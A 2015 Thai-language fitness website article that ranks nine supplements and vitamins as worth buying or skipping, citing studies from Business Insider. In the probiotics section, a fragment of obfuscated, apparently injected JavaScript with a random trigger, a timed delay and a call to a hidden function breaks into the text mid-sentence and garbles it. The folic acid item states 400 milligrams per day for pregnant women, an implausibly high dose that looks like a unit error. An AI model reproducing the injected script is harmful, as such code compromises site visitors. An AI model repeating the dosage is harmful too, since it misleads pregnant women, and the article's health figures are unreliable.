• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Feature

อาหารเสริมและวิตามิน

stepextra by stepextra
27 October 2015
in Feature, Healthy Tips, Tips & Technics
0
อาหารเสริมและวิตามิน
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

สารอาหารและวิตามินที่มีผลกระทบกับตัวร่างกายมนุษย์หลักๆ มาจาก อาหารมื้อหลักที่กินอยู่ทุกวัน ส่วนอาหารเสริมและวิตามิน ควรจะซื้อมารับประทานหรือไม่ เรามีคำเเนะนำมาฝากกันครับ

มาดูกันว่า อาหารเสริมและวิตามิน เราควรรับตัวไหนบ้าง…

1. Multivitamins อาหารเสิมหรือวิตามินรวม ข้ามไปได้เลย เพราะการรับสารอาหารวิตามินรวมต่างๆ จะมาจากอาหารมื้อหลัก และอาหารหลักที่ดีคววรเป็นแบบ Balance diet ด้วย

รู้หรือไม่ว่า…การรับวิตามินรวมที่มากเกินไปมีผลเสียต่อร่างกาย มีการศึกษาในปี 2012 พบว่าในกลุ่มตัวอย่างผู้หญิง 39,000 คน อายุ 25 ปีขึ้นไป ที่รับวิตามินรวมระยะยาว มีโอกาสเสี่ยงที่จะเสียชีวิตมากกว่าคนที่ไม่รับ

food-669249_640

2. วิตามิน D ซื้อมากินได้ เพราะช่วยให้กระดูกแข็งแรง ร่างกายสกัดจากอาหารได้ยาก แต่ถ้าไม่อยากซื้อก็ออกตากแดดยามเช้าบ้าง ร่างกายจะได้มีเวลาสังเคราะห์วิตามิน D

น่าเสียดายที่สารวิตามินไม่ค่อยพบในอาหารมากเท่าไหรนัก และวิตามิน D ก็มีหน้าที่สำคัญในการดูดซึมแคลเซียม ทำให้กระดูกเราแข็งแรง และตามการวิจัยพบว่า คนที่รับวิตามิน D จะอายุยืน

3. Antioxidant สารต่อต้านอนุมูลอิสระ หากรับมามากเกินไปก็มีความเสี่ยงต่อการเกิดมะเร็งได้เหมือนกัน เลี่ยงพวกอาหารเม็ดวิตามินแล้วไปกินพวกผลไม้ดีกว่า

วิตามิน A,C และ E คือสารต่อต้านอนุมูลอิสระที่สามารถพบได้ในผักผลไม้อยู่แล้ว โดยเฉพาะผลไม้ตระกูล Berry และการศึกษาระยะยาวกับกลุ่มตัวอย่างผู้ชายสูบบุหรี่ และรับวิตามิน A เป็นประจำ จะมีโอกาสเสี่ยงเป็นมะเร็งปอดมากกว่าคนสูบบุหรี่ที่ไม่รับซะอีก

4. วิตามิน C กินไปก็ไม่แก้ไข้หวัดได้หรอก ไปกินส้มมะนาวยังดีกว่า เพราะการศึกษาไม่พบว่าวิตามิน C จะช่วยป้องกันโรคไข้หวัดได้ แถมการรับในริมาณมากๆ 2000 มิลลิกรัมหรือมากกว่า จะทำให้เกิดนิ่วที่ไตได้ ถ้าอยากได้วิตามิน C จริงๆ ก็ไปซื้อผลพวกตระกูล Berry อย่าง สตอเบอรี่ส้มและมะนาวที่ตลาดดีกว่า

5. วิตามิน B3 ไม่ต้องซื้อกิน ถ้าอยากได้ ต้องกิน ทูนา แซลมอนและผลบีรูต ทั้งนี้ในการศึกษาพบว่า วิตามิน B3 ไม่ได้มีผลช่วยรักษา Alzheimer และโรคหัวใจใดๆ

food-782622_640

ผลงาวิจัยปี 2014 กับกลุ่มตัวอย่าง 25,000 คน ที่เป็นโรคหัวใจ และรับวิตามิน B3 ในระยะยาว เพื่อช่วยยกระดับสุขภาพผู้ป่วยให้ดีขึ้น อย่างการลดค่า HDL และ cholesterol พบว่าก็ไม่ได้ช่วยลดโอกาสเกิดหัวใจกำเริบ ความดันสูงและการตายเพียงอย่างใด

ผลเสียของการการรับวิตามิน B3 มากเกินไป จะมีโอกาสเสี่ยงที่จะทำให้เกิดภาะติดเชื้อ ตับอักเสบและเลือดออกภายใน

6. Probiotic สารอาหารพวกโปรไบโอติก วิทยาการวิทยาศาสตร์ในปัจจุบันก็ยังไม่สามารถบ่งบอกผลประโยชน์ที่ชัดเจนจากการรับโปรไบโอติกได้เลย คำแนะนำคือให้ซื้อโยเกริ์ตกินแทน

โปรไบโอติกตามธรรมชาติสามารถพบได้ในโยเกริ์ตและอาหารที่มีกระบวนการหมัก มีราคาถูกกว่าเม็ดยาอาหารโปรไบโอติกด้วย ถึงแม้จะมีปริมาณน้อยกว่า

andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-happy-2014-6″>ความเชื่อที่ว่าการมีแบคทีเรียที่ดีในลำไส้ จะช่วยดูแลรักษาสุขภาพเรานั้นบางครั้งก็ไม่เสมอไป อาจจะช่วยได้บาง ไม่ช่วยเลยหรือเป็นผลเสียถ้ามีมากไปก็ได้ ยาเม็ดโปรไบโอติกไม่ได้แก้รักษาโรคได้ทุกอย่าง

7. Zinc แนะนำให้ซื้อกินครับ เป็นส่วนช่วยให้หายจากอาการไข้หวัดได้เร็วขึ้น มีการศึกษาพบว่าเป็นหนึ่งในส่วนผสมที่สำคัญในการต่อสู้กับไข้หวัด (interfere with the replication of rhinoviruses)

ในงานวิจัยปี 2011 ได้จัดกลุ่มเปรียบเทียบผู้ป่วยไข้หวัดที่รับ Zinc และไม่รับ Zinc พบว่า กล่มคนที่รับ Zinc จะหายเร็วกว่า อาการไข้ไม่รุนแรงด้วย

vegetables-933204_640

8. วิตามิน E ไม่ควรซื้อมารับประทาน เพราะการรับวิตามิน E มากเกินไปอาจเป็นสาเหตุทำให้เกิดมะเร็งได้ วิตามิน E ค่อนข้างดังเพราะว่าช่วยลดการเกิดมะเร็ง แต่งานวิจัย 2011 กับกลุ่มผู้ชาย 36,000 คนพบว่า การรับวิตามิน E มากๆ จะมีโอกาสเป็นมะเร็งมากกว่าซะอีก และในงานวิจัยปี 2005 พบว่าการรับวิตามิน E ในปริมาณมาก เสี่ยงถึงตายได้ ถ้าอยากได้วิตามิน E ก็ควรกินพวกผักเขียว สลัดจะดีกว่า

9. Folic acid คนท้องหรืออยากมีลูกก็ควรหาติดไว้ เจ้า Folic acid คือสารวิตามิน B ที่ร่างกายใช้ในการสร้างเซลล์ และจากงานวิจัยของ National Institutes of Health แนะนำผู้หญิงที่ตั้งครรภ์ ควรรับ Folic acid 400 มิลลิกรัมต่อวัน เพื่อการเจริญเติบโตของตัวอ่อนที่ดี

นอกจากนี้บางงานวิจัยพบว่าการรับ Folic acid ก่อนและระหว่างตั้งครรภ์ ช่วยลดความเสี่ยงในการแท้ง อาการผิดปรกติของเด็กอย่าง อาการพิการสมองและไขสันหลัง

ที่มา www.businessinsider.com

ShareTweetShare
stepextra

stepextra

Related Posts

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36
News

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai
News

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้
News

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    0 shares
    Share 0 Tweet 0
  • รู้หรือไม่…ต้นทุนรองเท้าราคาเท่าไหร่และประกอบด้วยค่าอะไรบ้าง

    0 shares
    Share 0 Tweet 0
  • วิ่งให้เร็วขึ้นด้วยการฝึกสปริ้นท์ 30 วินาที

    0 shares
    Share 0 Tweet 0
  • อาการอยาก ของหวาน (Sugar Craving) ร่างกายไม่ได้ต้องการน้ำตาลอย่างเดียว

    0 shares
    Share 0 Tweet 0
  • 13 กลวิธี ขี่จักรยานให้ได้ความเร็วเพิ่มขึ้น!

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.